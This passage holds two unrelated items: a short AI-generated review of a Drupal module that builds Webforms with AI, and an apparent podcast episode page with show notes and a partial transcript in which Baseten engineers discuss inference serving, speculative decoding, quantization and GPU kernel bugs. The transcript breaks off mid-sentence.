form. AI-Generate Notes, Review, and Recipe (used for testing) https://github.com/jrockowitz/drupal_playground/tree/main/recipes/drupal_playground_webform_ai AI-Generated Assessment Technical: The module separates AI generation, prompt building, JSON validation, and Webform construction into Drupal services. It uses the site's configured Drupal AI provider, validates a limited allowlist of Webform element types before saving, and exposes model, temperature, output-token, and per-user request-limit settings. Access and error handling: Generation requires its own permission, and updating an existing Webform also requires normal Webform update access. A per-user flood limit constrains provider spend; failures are logged, with detailed upstream errors shown only to generator administrators. Code quality: Version 1.0.2 uses strict types and separates form, service, validation, and persistence responsibilities. It includes unit, kernel, and functional coverage for core behavior. This assessment is a code review of the released module, not a security audit. Implementation: The module creates new Webforms and updates supported fields of existing Webforms in place, but saves the generated definition immediately without a preview, diff, or approval screen. Usefulness: The module is useful for quickly drafting straightforward Webforms and iterating on common field changes when a site builder reviews the result. Complex, highly customized, or regulated forms need especially careful manual review before publication. How to use it: Configure a chat-capable provider, select an existing Webform or choose to create one, describe the fields and validation in plain English, submit the request, and then review the saved Webform. For example, create a disposable contact Webform and ask the generator to add a required telephone field while preserving the existing fields. AI-generated source code: The module's runtime use of AI and its code style cannot establish whether its source was AI-generated or AI-assisted. Its public project metadata does not make an authorship claim, so this is unknown. Possible improvements: Add a preview/diff and explicit approval before saving; broaden support for advanced Webform structures and handlers; add optional, privacy-conscious prompt and response audit logs; and expand regression coverage for complex Webform updates. Next steps for adopters: Restrict generation to trusted roles, begin with a low request limit, test representative prompts outside production, and review every generated field, validation rule, confirmation message, and permission before publishing.
Watch the full episode on YouTube:We first covered Baseten last year when DeepSeek mania was at peak hype. Now they have raised a monster $13B round and become one of the new cohort of AI Infra decacorns that are (with Nvidia, Intel, and the semis complex) chief beneficiaries of the Inference Inflection. We return to Baseten at the peak of the 2026 edition of Open Weights debate. Ali has published a viral breakdown of Kimi K3:And since you last saw him, Philip has spoken at AI Engineer and written the definitive book on Inference Engineering spotted all over SF:Three years ago, inference engineering barely existed as a category.Today, it is one of the most critical disciplines in AI. Inference engineering inherently tackles a different question than standard model training: “How do you turn those weights from training into a product that is fast, reliable, and affordable at scale?” Focusing on these creates an entirely new optimization problem.In one recent GLM-5.2 experiment, quantizing more of the model actually preserved its benchmark quality while increasing throughput by 20%, because the errors introduced in different layers could cancel each other out.Inference is no longer just the final step after training. It is becoming its own engineering discipline, with its own research problems, infrastructure, and increasingly specialized roles.In this episode, Baseten's Philip Kiely and Ali Taha join swyx and Vibhu to explain what actually happens after a new open model is released and what it takes to turn “we generated a token” into a fast, reliable, production-ready API.We go deep on cache-aware routing, disaggregated prefill and decode, quantization, speculative decoding, KV-cache movement, model parallelism, GPU kernels, and the race to make frontier models up to 10× faster. Philip and Ali explain why inference optimizations can still produce gains of 20%, 100%, or even 200%; how quantization errors can cancel one another out; why identical weights can behave differently across clusters; and how Baseten grafted a Kimi vision encoder onto GLM-5.2 without changing the underlying language model.The conversation then expands beyond LLMs into NVIDIA Dynamo, mega kernels, Rubin, AI-specific chips, local inference, video generation, diffusion versus autoregressive models, and the enormous compute barrier to generating coherent long-form video. Finally, we explore the convergence of training and inference, continual learning through persistent KV cache, and the emerging loop where models help optimize the infrastructure that runs them.We discuss:* What happens when a 200,000-token request enters an inference system* Cache-aware routing and reusing previously computed KV cache* Why prefill and decode are increasingly handled by different GPUs* When dedicated deployments become cheaper and more reliable than shared APIs* How speculative decoding uses a smaller model to accelerate a larger one* Tool calling, structured outputs, and what LLMs actually do* What it takes to support a new open model on day zero* Grafting Kimi's vision encoder onto GLM-5.2* Retrofitting inefficient model layers with components from other architectures* Why models sometimes collapse into repeating the same token* How hardware, kernels, and race conditions create nondeterministic failures* Preserving model fidelity while making inference faster* How quantization errors can cancel each other out* Why inference optimizations still deliver gains of 20%, 100%, and 200%* How optimized serving can make a model up to 10× faster* NVIDIA Dynamo, KV-aware routing, and distributed model serving* Speculative decoding the speculative decoder* Why local AI is about making models less dumb while data-center AI is about making them less slow* Tensor, expert, and pipeline parallelism across GPUs* Hardware-aware model design, auto-tuning, and the case against mega kernels* Rubin and why inference is becoming a systems problem* Whether modern GPUs are evolving into programmable AI ASICs* Why enormous models like Kimi K3 require GB300-class hardware* Why open-source video generation still trails Veo, Kling, and other closed models* The quadratic attention bottleneck behind long-form AI video* Autoregressive video, real-time generation, and compounding quality drift* Why future video systems may combine autoregressive and diffusion architectures* Training for inference and inference for training* Continuous post-training, deployment, evaluation, and improvement loops* How GLM-5.2 helped optimize the kernels serving GLM-5.2 itself* Why faster networking could unlock dramatically faster decoding* Continual learning, KV-cache compaction, and persistent model memoryShow Notes* How to build a day-0 API for Kimi K3* 22580: From GPT2 to Kimi3, ExplainedPhilip Kiely* LinkedIn: https://www.linkedin.com/in/philipkiely* X: https://x.com/philipkiely* Inference Engineering: https://www.baseten.co/inference-engineering/Ali Taha* LinkedIn: https://www.linkedin.com/in/aliestaha/* X: https://x.com/waterloointernTimestamps00:00:00 Introduction and the 200K-Token Prompt00:03:18 Dedicated Deployments, Speculative Decoding, and Tool Calling00:11:26 Launching Production-Ready Open Models00:19:06 Model Retrofits, Failure Modes, and Nondeterminism00:28:22 Quantization and Canceling Errors00:32:15 The Race to 10× Faster Inference00:40:48 Dynamo, Speculation, and Local vs. Data-Center AI00:50:18 Model Parallelism, Auto-Tuning, and Mega Kernels01:00:55 Rubin, GPUs vs. ASICs, and Custom AI Chips01:10:03 Giant Models and the Limits of GPU Memory01:12:42 AI Video, Quadratic Attention, and Autoregressive Generation01:21:47 Audio, Images, and Diffusion Models01:27:32 Training, Self-Optimizing Models, and Continual Learning01:40:06 Closing ThoughtsTranscriptIntroduction: Baseten, Waterloo Intern, and Inference EngineeringSwyx [00:00:00]: Okay, we're here in the studio with Philip, old friend from Inference Engineering, the book, as well as Baseten and everything that you've done, you and I have done before, as well as Ali. Welcome.Ali [00:00:15]: Pleasure to meet you.Swyx [00:00:15]: Waterloo intern.Ali [00:00:16]: Waterloo intern, always.Swyx [00:00:17]: When did you get “Waterloo intern” as a handle?Ali [00:00:19]: As a handle? Oh.Ali [00:00:20]: I think the rebranding happened mid-March. When I saw it was open, I was like, “I have to take it. Up for grabs.”Philip [00:00:26]: The problem is that Ali is really good at his job and is not gonna be an intern much longer.Philip [00:00:30]: So we have to figure out who's gonna get the handle.Ali [00:00:33]: Well, I'll pass the torch over to the next intern.Swyx [00:00:34]: Oh, okay. It can be, like, you just pass it to another Waterloo grad.Ali [00:00:37]: To another Waterloo intern. No, bruh.Philip [00:00:39]: Yeah.Ali [00:00:39]: Intern.Swyx [00:00:40]: Intern, yeah.Ali [00:00:40]: And no.Philip [00:00:41]: You gotta get an intern from Waterloo.Ali [00:00:42]: Yeah, I've gotta get an intern from Waterloo.Swyx [00:00:44]: Right.Ali [00:00:44]: But they have to follow the path.Swyx [00:00:45]: Oh, it could, but it could come from Baseten, so it's like whoever Baseten gets from Waterloo.Ali [00:00:48]: Right.Swyx [00:00:49]: Has the title of Waterloo.Ali [00:00:50]: It stays in the ecosystem.Philip [00:00:51]: Exactly.Ali [00:00:52]: Halfway through the internship, you either get it or you're out.Philip [00:00:55]: You should also do, like, a big graduation ceremony where you change the handle.Ali [00:00:59]: Just say it.Philip [00:00:59]: For everybody.Swyx [00:01:00]: You guys are good at ceremonies, clearly. We had a nice launch of the book, very successful. But before we get into all that, I wanna start off with a fun question for you. Okay, you're an expert inference engineer. What happens when I send a long query, say two hundred thousand tokens into Baseten's inference? What's the process of query through GPU model routing, balancing, all that? What is all the stuff that we don't think about?Long Context Requests, KV Cache, and Cache-Aware RoutingPhilip [00:01:26]: With a long query specifically, the first thing that I'm gonna ask is, “Have you sent me this query before, or at least part of it?” and I really hope you have, because it's gonna be a lot easier for me and a lot cheaper for you. So the first thing that we're gonna look at is some cache-aware routing, where we're going to see, we probably have a number of instances, a number of replicas up serving whatever model you're hitting. We want to send this one to something with, number one, available prefill workers, and number two, ideally some cached input already there so that we can skip prefill on at least part of these two hundred thousand tokens. If you're doing two hundred thousand tokens, it's probably coding or a multi-turn agent or something where you would expect to have that cached. If you don't, we're gonna have to send it to a prefill worker. We've at least on certain models disaggregated prefill and decode, so you're going to have one set of GPUs that's solely going to process the input, create the KV cache, and get you your first token, and then that's going to be passed over to a separate set of GPUs, which is going to run decode. We're going to iteratively make those tokens. We're probably going to have some speculator model in front of that. I'm going to assume that you're doing coding, and because of that, our speculator model, which assumes you're doing coding, is gonna have a high draft token acceptance rate. If I'm wrong and you're asking me to summarize every Harry Potter book, it's gonna be slower. And then we stream that output to you and account for it, charge you, a couple of pennies and say, “Hey, would you like to send another one?”Swyx [00:03:04]: Except Baseten doesn't charge by pennies.Philip [00:03:07]: Well, yeah, we charge. I'm assuming that we're talking about the public model APIs. If you are setting up a dedicated deployment, then yeah, it's not pennies.Public APIs vs. Dedicated DeploymentsSwyx [00:03:18]: Yeah, one of the key differentiators when I was talking with Baseten initially was that people who want very high volume just need to rent by the box, ‘cause then it's up to you to figure out how to saturate the box.Ali [00:03:31]: And more often than not, it's, like, way cheaper if you're pushing, like, millions of tokens per hour, if you just pay per hour instead of pay per token.Philip [00:03:37]: Yeah, they do. I think that we've increasingly seen a lot of demand for the pay per token APIs, just because everyone wants to try open models, and then once they find a use case that's really sticky, then they move over to dedicated.Swyx [00:03:51]: Is there a best practice on when it's time to swap over?Philip [00:03:54]: Couple reasons. Yeah, reliability, that's a big one, right?Ali [00:03:57]: Like, if they have a very specific use case, they want you to train something specifically for them, like they want their own spec dec, for instance, for their own traffic.Swyx [00:04:04]: Spec dec is speculative decoding.Speculative Decoding and Custom SpeculatorsAli [00:04:05]: Speculative decoding, yeah.Swyx [00:04:07]: You have to explain.Ali [00:04:07]: Sorry. Like, speculative decoding is like, if you have a huge model, right? And so the model is going to be generating one token at a time every single turn, every single forward pass. So we attach, like, this little, like, parasite, like this layer that goes on top of the model, and this model just has to predict. It does three very fast autoregressive forward passes, and it will predict, like, three certain tokens, and then you do one forward stage over the entire original model in order to see if those predictions were correct or not, and then you accept them or you reject them. Now, this draft model is traffic specific, so if you, like, Philip said, if you're summarizing Harry Potter books, I can train exclusively that draft model on Harry Potter books, and I can guarantee you that I'm gonna accept the three tokens every single time. And so with that case, I increase your decode speed. I wouldn't be able to provide this to you if you're a shared endpointSwyx [00:04:53]: YeahAli [00:04:53]: ‘cause I have no idea if you're doing Harry Potter, if you're doing coding, if you're doing English. We don't know. Also, there was a thing in the book that mentioned that if they really cared about a specific threshold, chapter four, I think. Do you remember that?Philip [00:05:06]: Yeah. The things that you can do is you can set a specific, like, batch sizing, a specific, like, parallelism strategy if you're trying to optimize for, like, throughput versus latency. You can. Maybe a NVFP4 quant doesn't pass your benchmarks and you wanna run a model at higher precision, you could do that. There's just a bunch of reasons why you might wanna have your own endpoint and the biggest one, of course, just being, like, you don't have to deal with someone else doing a hundred million tokens of benchmarking traffic at the endpoint when you happen to be trying to serve your users.Swyx [00:05:40]: Yeah. I think one thing that is. That is a classic journey. Like, it's people is asking the, what happens when you type Google into the browser. Tool calling, is that just, you're generating JSON or is there more complication beyond that?Tool Calling, JSON, and Structured OutputsAli [00:05:58]: Certain customers that we have, they have their own post-trained models, and so they demand a tool calling that's not just, like parse a file or go find the weather. It's something that's very specific and you have to do post-training on this. And if the post-training on the model is not good or if the quantization after the post-training to get the inference to be fast, the model will struggle reading the JSON file and reading the tool calling. But it doesn't require its own like sandbox. It's not like it's going to use that tool calling to like escape a sandbox or like it doesn't have to be contained. It can just be a normal dedicated deployment. The challenge with tool calling more and more seems to be that the companies want certain tool calling which is a very sensitive thing to train. And because you're dealing with all of the JSON outputs, if it doesn't like close the end of the request in a very certain manner, you end up with a model that did the tool calling and like the thinking and so as a result of that, it didn't see the result and just hallucinated the result as it decoded. That seems to be the most challenging thing with tool calling, not really the sandboxes model.Philip [00:06:56]: Yeah, that's a challenge on the training side and then on the inference side, there's work that you can do to scope the possible output. So we published this at this point close to two years ago, the solution to this problem which is you make a state machine and you use that to constrain the output to a specific format. So this is the structured output problem. If you remember backSwyx [00:07:27]: Yeah, the specific grammar is,Philip [00:07:29]: Yeah, exactlySwyx [00:07:30]: GML had this thing.Philip [00:07:31]: Yeah. So it's like the old-school “make sure this is only JSON”, return only JSON orSwyx [00:07:38]: YeahPhilip [00:07:38]: Grandma's gonna die type of prompts.Swyx [00:07:39]: Is it BNF grammar? At some point OpenAI had released a thing that was like, yeah, if you want to constrain your output, write BNF grammar, back as NOR.Philip [00:07:47]: In our inference system, it's just a specified output format. And you get the guarantee that your output's gonna be structured along that format. And so applying that to tool calls can like help cut down on. You can still call the wrong tool or call no tool. It doesn't solve the certainty problem but it at least solves the output structuring problemSwyx [00:08:10]: YeahPhilip [00:08:10]: Within tool calls.Swyx [00:08:12]: And MCP is just another form of tool, right.Philip [00:08:14]: Yeah, exactly.Swyx [00:08:15]: As far as there's no special thing there.Philip [00:08:16]: The thing I'm always like explaining to people is the LLM is not capable of doing anything. It's only capable of making suggestions of what to do and then if those suggestions are formatted in a certain way and applied to a system that knows what to do with them, then an action occurs.Swyx [00:08:32]: Yeah. Part of the fun stuff is, this is solved outside of tool calling too. Like in an agent loop if the output is not correct or you're right, like reasoning, tool calling was done in the reasoning trace, just be like, “Oh, I don't know what to do. Let me just try again.” And it might get there after a few tries. And on your point of training, sometimes this is harder in smaller models, so you don't have the same exact quality outputAli [00:08:56]: Right.Swyx [00:08:57]: When you just swap from a big model, right?Ali [00:08:59]: Yeah. I will say that, before, I think we need to go back to inference engineering proper.Ali [00:09:04]: But, I had expected that something would replace JSON because it's hard to stream JSON ‘cause JSON must be complete and you must have open and close brackets and everything. So it's hard to parse something or validate something while it's being streamed. So people invented all sorts of things that are like, I forget the name of some of these alternatives, but it's something like TOML, something like YAML. But JSON seems to be dominant still.Philip [00:09:30]: The JSON outputs aren't that long, right? Like you could have a long-- ‘cause tool calls also contain the arguments in them and perhaps for a certain tool you might pass like a very long argument. But my impression of the median tool call is that it's a relatively small number of tokens, right? So I would expect that speculators are generally fairly good at something as formatted as JSON. And so you would have like a pretty fast decode step there and that the streaming wouldn't be as valuable, but maybe I'm wrong about that.Ali [00:10:02]: I think you're also bounded by the software or that the model is gonna integrate with if the software is built with JSON for the tool calls or if the company that you'- if your customer says that this is how our software works and our tools are interfaced with JSON, you can ask them to like, change their software and say like, “Yeah, this is gonna be better for the model.” but like with the right training shouldn't be that much of a difference. Also more profitable if it outputs more tokens probably.Swyx [00:10:25]: Depends on your business model.Swyx [00:10:27]: It really depends. But I will say that, as a writer with like experience a lot with generated output, I do try to move from text to JSON text which is very long JSON, right? Like there's paragraphs in every field because I'm trying to structure it, right?Philip [00:10:44]: Right.Swyx [00:10:44]: I want you to first make factual statements, then make opinions then make bullet point summaries, have dates, have entity references have your sources for references, all these things. Anyway, so these are things that like I think people who really experiment with structural output have to really care about. But, let's, let's recurse up the stack a little bit. Before we started recording, you mentioned something really cool, which is that there's a lot of engineering that-- inference engineering that goes on when a new model provider releases a new model, right? So let's call it GLM-5.2, Kimi K3. I had previously assumed, especially if it's like, well, GLM 5 to 5.1 to GLM-5.2, like that you've supported them before. Is it that much work?What It Takes to Support a New Open ModelAli [00:11:26]: It's a lot of work.Swyx [00:11:28]: Yeah. Okay. So like, a lot of people, all you guys, right whenever a new model launch like, people rush to say like, “Oh, Hugging Face supports this, Fireworks supports this, Spacetime supports this,” and I'm like, “Yeah, of course we support it.” But what goes into that? What goes intoPhilip [00:11:40]: I think it's more than just support it too, right? It benefits the consumer a lot. Like I think it was with Kimi K2.5 or GLM-5.2 the latest, there was an inference war, right? X provider is at 90 tokens a second. The next day we're at 150. The nextSwyx [00:11:55]: I kinda kicked that off with the GLM-5.2.Swyx [00:11:58]: I wrote a Twitter article about. It got like half a million views,Ali [00:12:02]: Based on being numberSwyx [00:12:03]: YeahAli [00:12:04]: Or it's for something else.Swyx [00:12:05]: Yeah. Which,Ali [00:12:06]: Oh my GodSwyx [00:12:07]: Which then got everyone really excited about, hey, how can we, bend tracks a little bit further and,Philip [00:12:14]: There's a difference between support the model, as in I can make a token out of this model, and support a model, as in I have a production-ready API from this model.Philip [00:12:26]: Getting to the point of I can make a token out of this model is not that hard because generally the, open source inference engines, vLLM, SGLang of the world oftentimes even receive weights ahead of time, maintainers do, or the people making the model merge PRs to ensure support. So you generally can, just get it working on the standard open source stack without too much pain in most cases. The challenge is, every inference company is gonna have own proprietary stack. Some open source components, some in-house stuff. And for any arbitrary model, there's going to be some new stuff. Sometimes you get lucky, like K, two five to two six was, like, pretty similar.Quantization, Speculators, and Production ReadinessAli [00:13:16]: Yeah. It was pure continued post-trainingPhilip [00:13:18]: YeahAli [00:13:18]: If I remember correctly.Philip [00:13:19]: Even in those cases, there's still stuff you have to do. You have to redo the quantization work. You're taking the model from. Generally, these models are not released in NVFP4, and we want them to be in NVFP4 for maximum Blackwell compatibility. So we have to perform that quantization, and, calibrate the quantization to make sure that we're not causing any regression in the model's intelligence. And then we also have to train the speculator, as we've talked about. Generally, we have. We have ZDR, zero data retention on our model APIs, so we don't know exactly the traffic that people are sending us, but we know what's popular. We know that coding use cases are popular. We know that agents, agentic use cases are popular. So we can get public data sets that are representative of that traffic and train general speculators. Now, with speculators today, you need to train the speculator using the base model itself because you're getting hidden states out of the model from running inference on these specific prompts, and that is the training data you use to create the speculator. So there's that process which you need the real model weights for. And then there's of course just the process of, standing up all the infrastructure behind it, loading all this stuff, testing it. And then when there's a new model with a newer architecture, I think that, like, the DeepSeek models tend to be the most challenging as they have, like, the most novel architectural stuff going on, model after model. But every new model has something. Kimi K2 had. Oh, sorry, GLM-5.2 hadAli [00:14:53]: Sparse attention.Philip [00:14:54]: Yeah,Ali [00:14:54]: YeahPhilip [00:14:54]: the DSA.Ali [00:14:55]: Right. Which is brought from DeepSeek.Philip [00:14:57]: Yeah. AndAli [00:14:59]: So you can copy-paste then?Philip [00:15:01]: It kindAli [00:15:01]: I don't know how this works.Philip [00:15:02]: So, like we had to, like, build support for that into our runtime. And you're right, like it is really interesting the way that all of these open source labs borrow from each other. For example, like GLM-5.2 doesn't have vision. So something that, Haley, a guy on our team, if we could take a look at this, he, like, grafted the Kimi vision encoder onto GLM-5.2.Retrofitting Vision into GLM-5.2Ali [00:15:27]: We'll be training the projector.Philip [00:15:28]: Exactly. So if you think about, like, the encoder, there's the encoder, which is the part that looks at the image and turns it into latent information, and then there's the projector which likeAli [00:15:38]: You can say latent space. It's okay.Philip [00:15:41]: And then there's the projector that maps it onto, the model itself, and then there's the model weights. You don't wanna mess with the model weights because you run a chance of making the model dumber at something else for the purpose of giving it vision. So instead, Haley started with just a projector, which is only a handful of millions of parameters.Ali [00:16:02]: That would be, yeah.Philip [00:16:02]: Yeah.Ali [00:16:03]: Can you show the training one?Ali [00:16:04]: Like the way it groksPhilip [00:16:05]: YeahAli [00:16:06]: Very interesting.Philip [00:16:06]: And maybeAli [00:16:07]: That right therePhilip [00:16:07]: Maybe Ali, you should take it from here. You've got a betterAli [00:16:10]: Ooh, double the sandPhilip [00:16:11]: Understanding of this than I do.Ali [00:16:11]: Yeah. You can see, like, he. The way he trained this is really cool. At the beginning, he was training it using just like, “Here's a picture of a mountain. Can you describe what's in this mountain?” And that caused it just like the first, learning walls. Like here you can see this all we're trying to teach it is to translate the encoded. Like it's already taken the encoder from Kimi K. It's taken the image. It'Philip [00:16:31]: Yeah. FrozenAli [00:16:31]: FrozenPhilip [00:16:32]: With adapter.Ali [00:16:32]: Exactly.Philip [00:16:33]: Yeah.Ali [00:16:33]: So the brain is frozen and the eyes are frozen. It's just we're tryingPhilip [00:16:37]: AlignAli [00:16:38]: Interconnect between the eye and the brain, right? So the projector. And so you take the tokens and then he's like, “Oh, can you describe what's in this image?” And he's like, “Oh, it's a mountain,” or it's a person or it's a human, whatever the case is. But that didn't cause complete understanding. So he changed it such that every image was associated with a data set of questions. Like, does this image have a white male? Does this image have birds in the top corner? Does this image have a scientist in it? All of that stuff. And it would have to answer questions correctly. And using not just training on describing an image, but being able to answer question, another question, answer over time. Like you can see the grokking, which is like genuinely insane, that retrofitting vision into a large LLM can learn to that extent. And even for images that it doesn't perform well on, for instance, if you ask it a picture of like Stephen Hawking, “Who is this?” Maybe it doesn't get it, but it will say something like, “This is Albert Einstein.” Like it still understandsPhilip [00:17:25]: Close enoughAli [00:17:26]: That this is a scientist who is a man who has, some significant achievements, all that stuff. So that's like really cool.Philip [00:17:32]: Yeah. So, we've covered Hao Tian before, who the author of the LLaVA paper that did this, a while ago. And I think that's very foundational work for anyone who hasn't done vision work before.Ali [00:17:41]: Same with the CLIP and MetaCLIP, where you go from just captioning to building out questionsPhilip [00:17:47]: RightAli [00:17:47]: Off the image and how much better you can get performance.Philip [00:17:50]: Right. Right. Right. Yeah. But what's, what's so exciting about this is if you look at a model like this. Now, this is a little bit more of a research project. It's not. It got to 56% on MMLU Pro, I think. So not quite frontier. But if you're running this model, you haven't suffered any loss on your GLM-5.2 quality. If you don't have an image, it'll just behave exactly the way it used to. And ultimatelyAli [00:18:14]: Which in the inference code you literally do not include the other part, right?Philip [00:18:18]: Yeah. You would just skip the encoder if you don't have an image input.Ali [00:18:22]: Okay.Philip [00:18:22]: Just confirming.Philip [00:18:23]: YeahAli [00:18:23]: Does it affect a lot on the overall inference side? Like you're not adding much, you're adding a very small vision encoder. These are typically likePhilip [00:18:30]: They're super fineAli [00:18:31]: Less than a billion parameters, right?Philip [00:18:32]: Yeah. It's, - There's a little bit less standardization among vision encodersSwyx [00:18:37]: YeahPhilip [00:18:37]: So the support matrix can be a little bit, sparser. But overall, yeah, it's a pretty, it's a pretty minor component of the overall system. And ultimately what you get out of the system is all of a sudden you have Kimi Vision, GLM weights, and DeepSeek attention all in one model.Open Source Model Grafting and Franken-MergesPhilip [00:18:56]: And that's, I think, a lot of the power and beauty of open source, is that you can take all of these different components and combine them together into a system that's better than anyoneSwyx [00:19:05]: YeahPhilip [00:19:05]: Can be individually.Swyx [00:19:06]: People used to say that you would also do Franken-merges where you would take likePhilip [00:19:10]: YeahSwyx [00:19:10]: Layers from each model.Swyx [00:19:11]: Does anyone do that anymore?Ali [00:19:13]: Well, to your point previously when you were mentioning like, the work that goes into supporting a model when it first comes out, like GLM-5.2 or MiniMax M3 or whatever the case is. Sometimes you do have to like, you do have to switch out some things. Like, for instance, the MiniMax M3 head uses full attention, and with full attention you end up with this like insane bottleneck in spec dec ‘cause you're doing auto-regressive token generation for three tokens, and you're doing this like N squared over all of the tokens that are in your sequence. Your KV cache is like very large because it's not sparse, it's not top K. So we find it better to like, okay, we're gonna replace this, we're gonna replace this layer with a layer from another model that's using like GQA, for instance. And then just with the right training, you can get it to have the same acceptance rate. So it is very possible to retrofit layers from other models and very much needed. If a layer is like inefficient, the training just becomes the challenge, like how do you ensure that you train it properly? Which again to your earlier point is like the mesh between training and inference. As in like you need very good training in order to do fast inference. That's like, I feel like more and more becoming true.Swyx [00:20:21]: Yeah. Anything else on the support side when you say like get it to fully production ready?Loop Detection, Race Conditions, and Non-DeterminismPhilip [00:20:26]: Yeah. I think that there's also a question of just, we can test a model to a pretty extensive degree, but we're trying to get it out quickly and then you see a bunch of other people test it and you get interesting results. There was an issue with, GLM briefly where we had some like mode collapses where it would just output the same token over and over again for certain prompts on certain temperatures. Like once you expose an endpoint to the real world, there's going to be, so many more varieties of things given to it that you're able to, discover and patch things. So it's not just a, day zero process, it's then like for the first week, for the first month, if a model remains popular, like how do you both fix bugs and then continue to push the envelope on performance?Ali [00:21:21]: What do you mean you don't want your model outputting S?Swyx [00:21:24]: Is there loop detection on that stuff, by the way? It still happens like quite a lot, which is surprising.Ali [00:21:30]: We have like we, in our endpoint, like if a model was to output the same token like four plus times, we just cut the generation. We say like, “Oh, sorry, this-- Like try again,” or like we will reprocess the request. ‘Cause we know then, like if it, like if, yeah, it's four times the same token, it's probably collapsed.Swyx [00:21:45]: Yeah. Is there a way to opt out in case I really want that?Ali [00:21:48]: You want that?Ali [00:21:50]: I think there's a way that we have to handle it. I'm not exactly certain, but I feel like in certain models, like when they output something like you can imagine, like a table for instance, and so they want, they wanna draw like 12 dashes and 12 dashes. Yeah, I think there's a way for that to happen. I think we only do it on certain tokens. Like we exclude certain special characters.Swyx [00:22:07]: Yeah.Ali [00:22:07]: So we only do it on like certain like S is the most common almost. GLM-5.2Swyx [00:22:11]: OhAli [00:22:11]: And I think it was DSV 4 as well. Like you'd just have like looping issues where like you literallySwyx [00:22:17]: ItAli [00:22:17]: Just have like S.Swyx [00:22:18]: Yeah. Is there a special, something special about S? No, just randomlyAli [00:22:21]: It just seems to be the one token involved.Swyx [00:22:23]: Yeah. And it'Philip [00:22:24]: Is thereSwyx [00:22:24]: And it's only temperature 0Ali [00:22:27]: NoSwyx [00:22:27]: Even at other temperaturesAli [00:22:27]: Even at like 0.9 or whatever, it will still, it will still collapse.Swyx [00:22:30]: That's weird, right?Ali [00:22:30]: It's, it is an inference problem to be honest, like a software problem. Like oftentimes, the image you run will-- like NVIDIA will release an image for instance, and if we will upstream the changes from their latest TensorRT-LLM image into our stack, we'll find that it fixes it. Or oftentimes this will only happen in an inference engine that you're using like SGLang. But if you were to switch to vLLM, that isn't the case. So it seems to be like an extremely like deterministic software issue and not really a model issue. It's not like a weights problem. Like I'- we'll say like, “Oh, it's a problem with the quant. We did PTQ wrong,” right? But that isn't, that doesn't make sense because the same weights used with a different inference engine does not repeat the problem. And sometimes it's, the kernels that are being used in the backend have like these very subtle sometimes race conditions, where if you were to use this model hosted on one cluster, you will never get this problem.Swyx [00:23:19]: Oh my God.Ali [00:23:19]: But if you host it on a different cluster, you will. And the reason is the KV cache transfer from a node to node in that one cluster is using a slower interconnect than the node to node in another cluster. So that exposes the race, whereas in another cluster it doesn't. So then you end up just like, okay, this model is not gonna be hosted on this cluster. We're gonna host it on, another cluster because that cluster exposed that problem. But then it ends up with like, okay, is it the software? Is it the model weights or is it the hardware?Swyx [00:23:42]: There is a thing about this with temperature 0 still not being deterministic, right?Ali [00:23:46]: Right.Swyx [00:23:46]: Mostly because of hardware. Even at temperature 0 same model, you won't always get the same output.Swyx [00:23:52]: Even-- But I'm surprised by the race condition one because, I thought PyTorch was a graph that like guarantees that you at least, execute things in the right order.Ali [00:24:02]: Well, yeah, true. Like I'm not, I'm not saying that there is. Like well, you have things like PTL optimizations where like you can start a kernel before the end of the previous kernel, and that's like ‘cause you want to do that because there'sSwyx [00:24:12]: It's like pipeliningAli [00:24:12]: Expense. Exactly.Swyx [00:24:13]: Yeah.Ali [00:24:13]: But it'- But you don't do it cleanly. Like you overlap a little bit of the execution. No, it is very possible that the kernel itself, like that one block that is supposed to be running in this instance of time, that kernel itself has a race condition. For instance, like a missing barrier. Like often if you're designing a kernel and you want it to make it to be very fast, if you don't test it extensively, you'll, you'll have certain threads access data points from registers before they've been written to by other threadsSwyx [00:24:36]: YeahAli [00:24:36]: For example, because like your barrier is wrong or your synchronization was wrong. But yeah, like the testing itself is very difficult in those like, andSwyx [00:24:42]: And there's no like borrow checkerAli [00:24:45]: What does that mean?Swyx [00:24:46]: Like Rust. Like the. If you're trying to have like memory safety It sounds like a comparable problem.Ali [00:24:52]: Well, yes, but you're working in CUDA, right, NVIDIA GPUs. Like- You just need a higher level language like modular Maybe that's what modular is supposed to do. I don't know.Quantization Quality and Vendor FidelityVibhu [00:25:00]: How do you see keeping quality of the model? So you talked about all these steps of, okay, you gotta do quantization, train your own speculative decoderAli [00:25:07]: RightVibhu [00:25:07]: Run on different hardware. Looking at other model providers, okay, you kicked off a inference speed race on the consumer end. What goes into keeping quality the same across them, right? Sure, you can run benchmarksAli [00:25:22]: YeahVibhu [00:25:22]: But, like, how do you determine how much quantization are there standards? What goes intoPhilip [00:25:27]: There's a few things on quality. Most inference optimizations are lossless. KV caching, for example. You are just recomputing or preventing recomputing the same values. Speculation, of course, if a draft token is wrong, it gets rejected. The main lossy optimization is quantization. And that really comes down to, number one, data format, number two, which parts of the model you choose to quantize, which layers, and number three, like doing a lot of calibration on the quantized weights, to ensure that you're preserving all the outliers. There's other tricks that you can do, though. A big one is long context, ‘cause one thing you asked at, right at the beginning is, “Oh, what's gonna happen if I send a 200,000 token request in?” So with a long input sequence, you need to, store a lot more information. You need to process a lot more tokens. And so even if a model has a context of a certain length, you might, as an inference provider, choose to build an API with a shorter context length, and of course a full length one as well. Because if someone doesn't need the full million token context, for example, you can get them better performance. I don't know if that's exactly like quality of the model. The way that I think about quality is to what degree are we faithfully serving the original model? If you think of a golden implementation of a model that performs exactly the way the model is designed to perform, I think of quality as how close are we getting to that, 100% fidelity of the model.Philip [00:27:13]: You can also, of course, think about quality from the training side and how do you push yourself past 100%. But when I think about purely inference optimizations, it's getting faster while staying as close to that 100% fidelity mark as possible. And certainly our standard internally is that, like you should not be able to tell the difference between our API and a, official API. I think Kimi in particular does a good job of vendor benchmarking hereAli [00:27:41]: YesPhilip [00:27:41]: Where they haveAli [00:27:42]: They released an actual vendor benchmark.Philip [00:27:43]: Exactly, yeah.Ali [00:27:44]: ‘Cause they accused, some people, Amazon? There was some provider that was not doing very well on Kimi's benchmark.Philip [00:27:50]: Yeah.Philip [00:27:51]: So, with Reflect we probablyVibhu [00:27:52]: This was a long time ago, right?Philip [00:27:54]: No.Ali [00:27:54]: Yeah, like threeVibhu [00:27:55]: They alsoAli [00:27:55]: Four, five months agoVibhu [00:27:57]: This also happened with, I don't remember which model, but they pulled out quite a few, and then they started a whole chart about this. It might have beenPhilip [00:28:03]: Kimi Vendor Verifier.Ali [00:28:04]: Yeah.Philip [00:28:05]: Yeah.Ali [00:28:05]: Yeah, ‘cause you, ‘cause you'd be pissed, right? Like if you'Philip [00:28:07]: Yeah.Ali [00:28:07]: If like if I'm a 